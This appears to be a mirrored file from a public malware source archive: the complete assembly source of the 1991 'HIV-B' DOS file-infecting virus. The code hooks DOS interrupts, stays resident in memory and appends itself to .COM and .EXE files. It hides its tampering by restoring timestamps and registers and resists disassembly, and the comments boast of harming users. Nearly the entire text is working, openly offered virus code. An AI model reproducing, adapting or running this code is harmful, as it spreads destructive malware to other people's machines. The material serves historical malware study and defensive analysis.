mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
746 lines
30 KiB
NASM
746 lines
30 KiB
NASM
DATA_1E EQU 4CH ; Just a Few Data Segments that are
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DATA_3E EQU 84H ; Needed for the virus to find some
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DATA_5E EQU 90H ; hard core info...
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DATA_7E EQU 102H
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DATA_8E EQU 106H
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DATA_9E EQU 122H
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DATA_10E EQU 124H
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DATA_11E EQU 15AH
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DATA_12E EQU 450H
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DATA_13E EQU 462H
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DATA_14E EQU 47BH
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DATA_15E EQU 0
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DATA_16E EQU 1
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DATA_17E EQU 2
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DATA_18E EQU 6
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DATA_42E EQU 0FB2CH
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DATA_43E EQU 0FB2EH
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DATA_44E EQU 0FB4BH
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DATA_45E EQU 0FB4DH
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DATA_46E EQU 0FB83H
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DATA_47E EQU 0FB8DH
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DATA_48E EQU 0FB8FH
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DATA_49E EQU 0FB95H
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DATA_50E EQU 0FB97H
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DATA_51E EQU 0
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DATA_52E EQU 2
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SEG_A SEGMENT BYTE PUBLIC
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ASSUME CS:SEG_A, DS:SEG_A
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ORG 100h ; Compile this to a .COM file!
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; So the Virus starts at 0100h
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HIV PROC FAR
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START:
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JMP LOC_35
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DB 0C3H
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DB 23 DUP (0C3H)
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DB 61H, 6EH, 74H, 69H, 64H, 65H
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DB 62H, 0C3H, 0C3H, 0C3H, 0C3H
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DB 'HIV-B Virus - Release 1.1 [NukE]'
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DB ' '
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copyright DB '(C) Edited by Rock Steady [NukE]'
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DB 0, 0
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DATA_24 DW 0
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DATA_25 DW 0
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DATA_26 DW 0
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DATA_27 DW 706AH
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DATA_28 DD 00000H
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DATA_29 DW 0
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DATA_30 DW 706AH
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DATA_31 DD 00000H
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DATA_32 DW 0
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DATA_33 DW 706AH
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DATA_34 DB 'HIV-B VIRUS - Release 1.1 [NukE]', 0AH, 0DH
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DB 'Edited by Rock Steady [NukE]', 0AH, 0DH
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DB '(C) 1991 Italian Virus Laboratory', 0AH, 0DH
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DB '$'
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DB 0E8H, 83H, 3, 3DH, 4DH, 4BH
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DB 75H, 9, 55H, 8BH, 0ECH, 83H
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DB 66H, 6, 0FEH, 5DH, 0CFH, 80H
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DB 0FCH, 4BH, 74H, 12H, 3DH, 0
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DB 3DH, 74H, 0DH, 3DH, 0, 6CH
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DB 75H, 5, 80H, 0FBH, 0, 74H
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DB 3
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LOC_1:
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JMP LOC_13
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LOC_2:
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PUSH ES ; Save All Regesters so that when
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PUSH DS ; we restore the program it will
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PUSH DI ; RUN correctly and hide the fact
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PUSH SI ; that any Virii is tampering with
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PUSH BP ; the System....
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PUSH DX
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PUSH CX
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PUSH BX
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PUSH AX
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CALL SUB_6
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CALL SUB_7
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CMP AX,6C00H
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JNE LOC_3 ; Jump if not equal
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MOV DX,SI
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LOC_3:
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MOV CX,80H
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MOV SI,DX
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LOCLOOP_4:
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INC SI ; Slowly down the System a
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MOV AL,[SI] ; little.
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OR AL,AL ; Zero ?
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LOOPNZ LOCLOOP_4 ; Loop if zf=0, cx>0
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SUB SI,2
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CMP WORD PTR [SI],4D4FH
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JE LOC_7 ; Jump if equal
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CMP WORD PTR [SI],4558H
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JE LOC_6 ; Jump if equal
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LOC_5:
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JMP SHORT LOC_12 ;
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DB 90H
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LOC_6:
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CMP WORD PTR [SI-2],452EH
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JE LOC_8 ; Jump if equal
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JMP SHORT LOC_5 ;
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LOC_7:
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NOP
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CMP WORD PTR [SI-2],432EH
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JNE LOC_5 ; Jump if not equal
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LOC_8:
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MOV AX,3D02H
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CALL SUB_5
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JC LOC_12 ; Jump if carry Set
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MOV BX,AX
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MOV AX,5700H
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CALL SUB_5 ; Initsilize the virus...
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MOV CS:DATA_24,CX ; A Basic Start up to check
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MOV CS:DATA_25,DX ; The Interrup 21h
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MOV AX,4200H
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XOR CX,CX
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XOR DX,DX
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CALL SUB_5
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PUSH CS
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POP DS
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MOV DX,103H
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MOV SI,DX
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MOV CX,18H
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MOV AH,3FH
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CALL SUB_5
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JC LOC_10 ; Jump if carry Set
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CMP WORD PTR [SI],5A4DH
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JNE LOC_9 ; Jump if not equal
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CALL SUB_1
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JMP SHORT LOC_10
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LOC_9:
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CALL SUB_4
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LOC_10:
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JC LOC_11 ; Jump if carry Set
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MOV AX,5701H
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MOV CX,CS:DATA_24
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MOV DX,CS:DATA_25
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CALL SUB_5
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LOC_11:
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MOV AH,3EH ; '>'
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CALL SUB_5
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LOC_12:
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CALL SUB_7
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POP AX ; A Stealth Procedure to
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POP BX ; end the virus and restore
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POP CX ; the program! Pup back all
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POP DX ; regesters as we found them!
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POP BP ; so nothings changed...
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POP SI
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POP DI
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POP DS
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POP ES
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LOC_13:
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JMP CS:DATA_28
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DB 0B4H, 2AH, 0CDH, 21H, 0C3H
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HIV ENDP
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
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;*- SUBROUTINE *-
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
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SUB_1 PROC NEAR ; Start of the Virus!
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MOV AH,2AH ; Get the Date system Date!
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INT 21H ; If its Friday Display the
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; message at Data34 and End!
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CMP AL,6
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JE LOC_15 ; If Friday display message
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JNZ LOC_14 ; If not continue infecting
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LOC_14: ; and screwing the system!
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MOV CX,[SI+16H]
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ADD CX,[SI+8]
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MOV AX,10H
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MUL CX ; dx:ax = reg * ax
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ADD AX,[SI+14H]
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ADC DX,0
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PUSH DX
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PUSH AX
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MOV AX,4202H
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XOR CX,CX ; Zero register
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XOR DX,DX ; Zero register
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CALL SUB_5
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CMP DX,0
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JNE LOC_16 ; Jump if not equal
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CMP AX,64EH
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JAE LOC_16 ; Jump if above or =
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POP AX
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POP DX
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STC ; Set carry flag
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RETN
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LOC_15:
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MOV DX,OFFSET DATA_34+18H ; Display Message at Data34!
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MOV AH,9 ; With New Offset Address in
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INT 21H ; memory!
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;
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POP AX ; Restore all Regesters as if
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POP BX ; nothing was changed and exit
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POP CX ; virus and run File...
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POP DX
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POP SI
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POP DI
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POP BP
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POP DS
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POP ES
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MOV AH,0 ; Exit Virus if your in a .EXE
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INT 21H ; File!!!
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; Exit virus if your in a .COM
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INT 20H ; File!!!
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LOC_16:
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MOV DI,AX
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MOV BP,DX
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POP CX
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SUB AX,CX
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POP CX
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SBB DX,CX
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CMP WORD PTR [SI+0CH],0
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JE LOC_RET_19 ; Jump if equal
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CMP DX,0
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JNE LOC_17 ; Jump if not equal
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CMP AX,64EH
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JNE LOC_17 ; Jump if not equal
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STC ; Set carry flag
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RETN
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LOC_17:
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MOV DX,BP
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MOV AX,DI
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PUSH DX
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PUSH AX
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ADD AX,64EH
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ADC DX,0
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MOV CX,200H
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DIV CX ; Find out How much System
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LES DI,DWORD PTR [SI+2] ; memory is available...
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MOV CS:DATA_26,DI ;
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MOV CS:DATA_27,ES ; Every so often make the
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MOV [SI+2],DX ; system memory small than
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CMP DX,0 ; what it already is...
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JE LOC_18 ; Screws up the users hehe
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INC AX
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LOC_18:
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MOV [SI+4],AX
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POP AX
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POP DX
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CALL SUB_2
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SUB AX,[SI+8]
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LES DI,DWORD PTR [SI+14H]
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MOV DS:DATA_9E,DI
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MOV DS:DATA_10E,ES
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MOV [SI+14H],DX ; Tie up some memory!
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MOV [SI+16H],AX ; release it on next execution
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MOV DS:DATA_11E,AX ; Jump to su routine to do
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MOV AX,4202H ; this and disable interrups
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XOR CX,CX
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XOR DX,DX
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CALL SUB_5
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CALL SUB_3
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JC LOC_RET_19
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MOV AX,4200H
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XOR CX,CX ; Zero register
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XOR DX,DX ; Zero register
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CALL SUB_5
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MOV AH,40H
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MOV DX,SI
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MOV CX,18H
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CALL SUB_5
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LOC_RET_19:
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RETN
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SUB_1 ENDP
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
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;*- SUBROUTINE *-
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
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SUB_2 PROC NEAR
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MOV CX,4
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MOV DI,AX
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AND DI,0FH
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LOCLOOP_20:
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SHR DX,1 ; Shift w/zeros fill
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RCR AX,1 ; Rotate thru carry
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LOOP LOCLOOP_20 ; Loop if cx > 0
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MOV DX,DI
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RETN
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SUB_2 ENDP
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
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;*- SUBROUTINE *-
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
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SUB_3 PROC NEAR
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MOV AH,40H
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MOV CX,64EH
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MOV DX,100H
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CALL SUB_6
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JMP SHORT LOC_24
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DB 90H
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;*-*- External Entry into Subroutine -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
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SUB_4:
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MOV AX,4202H
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XOR CX,CX ; Zero register
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XOR DX,DX ; Zero register
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CALL SUB_5
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CMP AX,64EH
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JB LOC_RET_23 ; Jump if below
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CMP AX,0FA00H
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JAE LOC_RET_23 ; Jump if above or =
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PUSH AX
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CMP BYTE PTR [SI],0E9H
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JNE LOC_21 ; Jump if not equal
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SUB AX,651H
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CMP AX,[SI+1]
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JNE LOC_21 ; Jump if not equal
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POP AX
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STC ; Set carry flag
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RETN
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LOC_21:
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CALL SUB_3
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JNC LOC_22 ; Jump if carry=0
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POP AX
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RETN
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LOC_22:
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MOV AX,4200H
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XOR CX,CX ; Zero register
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XOR DX,DX ; Zero register
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CALL SUB_5
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POP AX
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SUB AX,3
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MOV DX,122H
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MOV SI,DX
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MOV BYTE PTR CS:[SI],0E9H
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MOV CS:[SI+1],AX
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MOV AH,40H
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MOV CX,3
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CALL SUB_5
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LOC_RET_23:
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RETN
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SUB_3 ENDP
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
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;*- SUBROUTINE *-
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
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SUB_5 PROC NEAR
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LOC_24:
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PUSHF ; Push flags
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CALL CS:DATA_28
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RETN
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SUB_5 ENDP
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
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;*- SUBROUTINE *-
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
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SUB_6 PROC NEAR
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PUSH AX
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PUSH DS
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PUSH ES
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XOR AX,AX ; Zero register
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PUSH AX
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POP DS
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CLI ; Disable the interrupts
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LES AX,DWORD PTR DS:DATA_5E ; This Copies the Virus
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MOV CS:DATA_29,AX ; to the COM File...
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MOV CS:DATA_30,ES
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MOV AX,46AH
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MOV DS:DATA_5E,AX
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MOV WORD PTR DS:DATA_5E+2,CS
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LES AX,DWORD PTR DS:DATA_1E ; Loads 32Bit word..
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MOV CS:DATA_32,AX ; get your info needed on
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MOV CS:DATA_33,ES ; System...
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LES AX,CS:DATA_31
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MOV DS:DATA_1E,AX
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MOV WORD PTR DS:DATA_1E+2,ES
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STI ; Enable the interrupts
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POP ES ; and restore regesters!
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POP DS ; go back to the file
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POP AX ; being executed...
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RETN
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SUB_6 ENDP
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
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;*- SUBROUTINE *-
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
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SUB_7 PROC NEAR
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PUSH AX
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PUSH DS
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PUSH ES
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XOR AX,AX ; Zero register
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PUSH AX
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POP DS
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CLI ; Disable interrupts
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LES AX,DWORD PTR CS:DATA_29 ; same as Sub_6 just copy
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MOV DS:DATA_5E,AX ; yourself to the EXE
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MOV WORD PTR DS:DATA_5E+2,ES
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LES AX,DWORD PTR CS:DATA_32
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MOV DS:DATA_1E,AX
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MOV WORD PTR DS:DATA_1E+2,ES
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STI ; Enable interrupts
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POP ES
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POP DS
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POP AX
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RETN
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SUB_7 ENDP
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DB 0B0H, 3, 0CFH, 50H, 53H, 51H
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DB 52H, 56H, 57H, 55H, 1EH, 6
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DB 33H, 0C0H, 50H, 1FH, 8AH, 3EH
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DB 62H, 4, 0A1H, 50H, 4, 2EH
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DB 0A3H, 0CEH, 4, 2EH, 0A1H, 0C7H
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DB 4, 0A3H, 50H, 4, 2EH, 0A1H
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DB 0C5H, 4, 8AH, 0DCH, 0B4H, 9
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DB 0B9H, 1, 0, 0CDH, 10H, 0E8H
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DB 34H, 0, 0E8H, 0B7H, 0, 2EH
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DB 0A1H, 0C7H, 4, 0A3H, 50H, 4
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DB 0B3H, 2, 0B8H, 2, 9, 0B9H
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DB 1, 0, 0CDH, 10H, 2EH, 0A1H
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DB 0CEH, 4, 0A3H, 50H, 4, 7
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DB 1FH
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DB ']_^ZY[X.'
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DB 0FFH, 2EH, 0CAH, 4
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DATA_36 DW 0
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DATA_37 DW 1010H
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DATA_39 DB 0
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DATA_40 DD 706A0000H
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DB 0, 0, 2EH, 0A1H, 0C7H, 4
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DB 8BH, 1EH, 4AH, 4, 4BH, 2EH
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DB 0F6H, 6, 0C9H, 4, 1, 74H
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DB 0CH, 3AH, 0C3H, 72H, 12H, 2EH
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DB 80H, 36H, 0C9H, 4, 1, 0EBH
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DB 0AH
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LOC_25:
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CMP AL,0
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JG LOC_26 ; Jump if >
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XOR CS:DATA_39,1
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LOC_26:
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TEST CS:DATA_39,2
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JZ LOC_27 ; Jump if zero
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CMP AH,18H
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JB LOC_28 ; Jump if below
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XOR CS:DATA_39,2
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JMP SHORT LOC_28
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LOC_27:
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CMP AH,0
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JG LOC_28 ; Jump if >
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XOR CS:DATA_39,2
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LOC_28:
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CMP BYTE PTR CS:DATA_36,20H
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JE LOC_29 ; Jump if equal
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CMP BYTE PTR CS:DATA_37+1,0
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JE LOC_29 ; Jump if equal
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XOR CS:DATA_39,2
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LOC_29:
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TEST CS:DATA_39,1
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JZ LOC_30 ; Jump if zero
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INC BYTE PTR CS:DATA_37
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JMP SHORT LOC_31
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LOC_30:
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DEC BYTE PTR CS:DATA_37 ; (706A:04C7=10H)
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LOC_31:
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TEST CS:DATA_39,2 ; (706A:04C9=0)
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JZ LOC_32 ; Jump if zero
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INC BYTE PTR CS:DATA_37+1 ; (706A:04C8=10H)
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JMP SHORT LOC_RET_33 ; (0555)
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LOC_32:
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DEC BYTE PTR CS:DATA_37+1 ; (706A:04C8=10H)
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LOC_RET_33:
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RETN
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
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;*- SUBROUTINE *-
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
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SUB_8 PROC NEAR
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MOV AX,CS:DATA_37
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MOV DS:DATA_12E,AX ; Get info on type of Video
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MOV BH,DS:DATA_13E ; Display the system has...
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MOV AH,8
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INT 10H ; with ah=functn 08h
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|
; basically fuck the cursur..
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MOV CS:DATA_36,AX
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RETN
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SUB_8 ENDP
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DB 50H, 53H, 51H, 52H, 56H, 57H
|
|
DB 55H, 1EH, 6, 33H, 0C0H, 50H
|
|
DB 1FH, 81H, 3EH, 70H, 0, 6DH
|
|
DB 4, 74H, 35H, 0A1H, 6CH, 4
|
|
DB 8BH, 16H, 6EH, 4, 0B9H, 0FFH
|
|
DB 0FFH, 0F7H, 0F1H, 3DH, 10H, 0
|
|
DB 75H, 24H, 0FAH, 8BH, 2EH, 50H
|
|
DB 4, 0E8H, 0BEH, 0FFH, 89H, 2EH
|
|
DB 50H, 4, 0C4H, 6, 70H, 0
|
|
DB 2EH, 0A3H, 0CAH, 4, 2EH, 8CH
|
|
DB 6, 0CCH, 4, 0C7H, 6, 70H
|
|
DB 0, 6DH, 4, 8CH, 0EH, 72H
|
|
DB 0, 0FBH
|
|
LOC_34:
|
|
POP ES
|
|
POP DS ; Restore and get lost...
|
|
POP BP
|
|
POP DI
|
|
POP SI
|
|
POP DX
|
|
POP CX
|
|
POP BX
|
|
POP AX
|
|
RETN
|
|
|
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
|
;*- SUBROUTINE *-
|
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
|
SUB_9 PROC NEAR
|
|
MOV DX,10H
|
|
MUL DX ; dx:ax = reg * ax
|
|
RETN
|
|
SUB_9 ENDP
|
|
|
|
|
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
|
;*- SUBROUTINE *-
|
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
|
|
|
SUB_10 PROC NEAR
|
|
XOR AX,AX ; If if wants to dissamble
|
|
XOR BX,BX ; us give him a HARD time...
|
|
XOR CX,CX ; By making all into 0
|
|
XOR DX,DX ; Zero register
|
|
XOR SI,SI ; Zero register
|
|
XOR DI,DI ; Zero register
|
|
XOR BP,BP ; Zero register
|
|
RETN
|
|
SUB_10 ENDP
|
|
|
|
LOC_35:
|
|
PUSH DS
|
|
CALL SUB_11
|
|
|
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
|
;*- SUBROUTINE *-
|
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
|
|
|
SUB_11 PROC NEAR
|
|
MOV AX,4B4DH
|
|
INT 21H ; Load and EXEC file...
|
|
; be runned...
|
|
NOP
|
|
JC LOC_36 ; Jump if carry Set
|
|
JMP LOC_46
|
|
LOC_36:
|
|
POP SI
|
|
PUSH SI
|
|
MOV DI,SI
|
|
XOR AX,AX ; Zero register
|
|
PUSH AX
|
|
POP DS
|
|
LES AX,DWORD PTR DS:DATA_1E ; Load 32 bit ptr
|
|
MOV CS:DATA_49E[SI],AX ; Move lots of data
|
|
MOV CS:DATA_50E[SI],ES ; into CS to infect the file
|
|
LES BX,DWORD PTR DS:DATA_3E ; if not infected and shit..
|
|
MOV CS:DATA_47E[DI],BX
|
|
MOV CS:DATA_48E[DI],ES
|
|
MOV AX,DS:DATA_7E
|
|
CMP AX,0F000H
|
|
JNE LOC_44 ; Jump if not equal
|
|
MOV DL,80H
|
|
MOV AX,DS:DATA_8E
|
|
CMP AX,0F000H
|
|
JE LOC_37 ; Jump if equal
|
|
CMP AH,0C8H
|
|
JB LOC_44 ; Jump if below
|
|
CMP AH,0F4H
|
|
JAE LOC_44 ; Jump if above or =
|
|
TEST AL,7FH
|
|
JNZ LOC_44 ; Jump if not zero
|
|
MOV DS,AX
|
|
CMP WORD PTR DS:DATA_51E,0AA55H
|
|
JNE LOC_44 ; Jump if not equal
|
|
MOV DL,DS:DATA_52E
|
|
LOC_37:
|
|
MOV DS,AX
|
|
XOR DH,DH ; Zero register
|
|
MOV CL,9
|
|
SHL DX,CL ; Shift w/zeros fill
|
|
MOV CX,DX
|
|
XOR SI,SI ; Zero register
|
|
|
|
LOCLOOP_38:
|
|
LODSW ; String [si] to ax
|
|
CMP AX,0FA80H
|
|
JNE LOC_39 ; Jump if not equal
|
|
LODSW ; String [si] to ax
|
|
CMP AX,7380H
|
|
JE LOC_40 ; Jump if equal
|
|
JNZ LOC_41 ; Jump if not zero
|
|
LOC_39:
|
|
CMP AX,0C2F6H
|
|
JNE LOC_42 ; Jump if not equal
|
|
LODSW ; String [si] to ax
|
|
CMP AX,7580H
|
|
JNE LOC_41 ; Jump if not equal
|
|
LOC_40:
|
|
INC SI
|
|
LODSW ; String [si] to ax
|
|
CMP AX,40CDH
|
|
JE LOC_43 ; Jump if equal
|
|
SUB SI,3
|
|
LOC_41:
|
|
DEC SI
|
|
DEC SI
|
|
LOC_42:
|
|
DEC SI
|
|
LOOP LOCLOOP_38 ; Loop if cx > 0
|
|
|
|
JMP SHORT LOC_44
|
|
LOC_43:
|
|
SUB SI,7
|
|
MOV CS:DATA_49E[DI],SI
|
|
MOV CS:DATA_50E[DI],DS
|
|
LOC_44:
|
|
MOV AH,62H
|
|
INT 21H ; Simple...Get the PSP
|
|
; Address (Program segment
|
|
MOV ES,BX ; address and but in BX)
|
|
MOV AH,49H
|
|
INT 21H ; Get the Free memory from
|
|
; the system
|
|
MOV BX,0FFFFH ; release extra memory blocks
|
|
MOV AH,48H
|
|
INT 21H ; Allocate the memory
|
|
; At BX (# bytes)
|
|
SUB BX,66H ; it attaches virus right
|
|
NOP ; under the 640k
|
|
JC LOC_46
|
|
MOV CX,ES ; did it work? If not just
|
|
STC ; end the virus...
|
|
ADC CX,BX
|
|
MOV AH,4AH
|
|
INT 21H ; Adjust teh memory block
|
|
; size! BX has the # of bytes
|
|
MOV BX,65H
|
|
STC ; Set carry flag
|
|
SBB ES:DATA_17E,BX ; Where to attach itself!
|
|
PUSH ES ; under 640K
|
|
MOV ES,CX
|
|
MOV AH,4AH
|
|
INT 21H ; Just change the memory
|
|
; allocations! (BX=Btyes Size)
|
|
MOV AX,ES
|
|
DEC AX
|
|
MOV DS,AX
|
|
MOV WORD PTR DS:DATA_16E,8 ;Same place under 640k
|
|
CALL SUB_9
|
|
MOV BX,AX
|
|
MOV CX,DX
|
|
POP DS
|
|
MOV AX,DS
|
|
CALL SUB_9
|
|
ADD AX,DS:DATA_18E
|
|
ADC DX,0
|
|
SUB AX,BX
|
|
SBB DX,CX
|
|
JC LOC_45 ; Jump if carry Set
|
|
SUB DS:DATA_18E,AX
|
|
LOC_45:
|
|
MOV SI,DI
|
|
XOR DI,DI ; Zero register
|
|
PUSH CS
|
|
POP DS
|
|
SUB SI,4D7H
|
|
MOV CX,64EH
|
|
INC CX
|
|
REP MOVSB ; Rep when cx >0 Mov [si] to
|
|
MOV AH,62H ; es:[di]
|
|
INT 21H ; Get the Program segment
|
|
; prefix...so we can infect it
|
|
DEC BX
|
|
MOV DS,BX
|
|
MOV BYTE PTR DS:DATA_15E,5AH
|
|
MOV DX,1E4H
|
|
XOR AX,AX ; Zero register
|
|
PUSH AX
|
|
POP DS
|
|
MOV AX,ES
|
|
SUB AX,10H
|
|
MOV ES,AX
|
|
CLI ; Disable interrupts
|
|
MOV DS:DATA_3E,DX ;
|
|
MOV WORD PTR DS:DATA_3E+2,ES
|
|
STI ; Enable interrupts
|
|
DEC BYTE PTR DS:DATA_14E ;
|
|
LOC_46:
|
|
POP SI
|
|
CMP WORD PTR CS:DATA_42E[SI],5A4DH
|
|
JNE LOC_47 ; Jump if not equal
|
|
POP DS
|
|
MOV AX,CS:DATA_46E[SI]
|
|
MOV BX,CS:DATA_45E[SI] ; all this shit is to restore
|
|
PUSH CS ; the program and continue
|
|
POP CX ; running the original
|
|
SUB CX,AX ; program...
|
|
ADD CX,BX
|
|
PUSH CX
|
|
PUSH WORD PTR CS:DATA_44E[SI]
|
|
PUSH DS
|
|
POP ES
|
|
CALL SUB_10
|
|
RETF
|
|
LOC_47:
|
|
POP AX
|
|
MOV AX,CS:DATA_42E[SI]
|
|
MOV WORD PTR CS:[100H],AX
|
|
MOV AX,CS:DATA_43E[SI]
|
|
MOV WORD PTR CS:[102H],AX
|
|
MOV AX,100H
|
|
PUSH AX
|
|
PUSH CS
|
|
POP DS
|
|
PUSH DS
|
|
POP ES
|
|
CALL SUB_10
|
|
RETN
|
|
SUB_11 ENDP
|
|
|
|
|
|
SEG_A ENDS
|
|
|
|
|
|
|
|
END START
|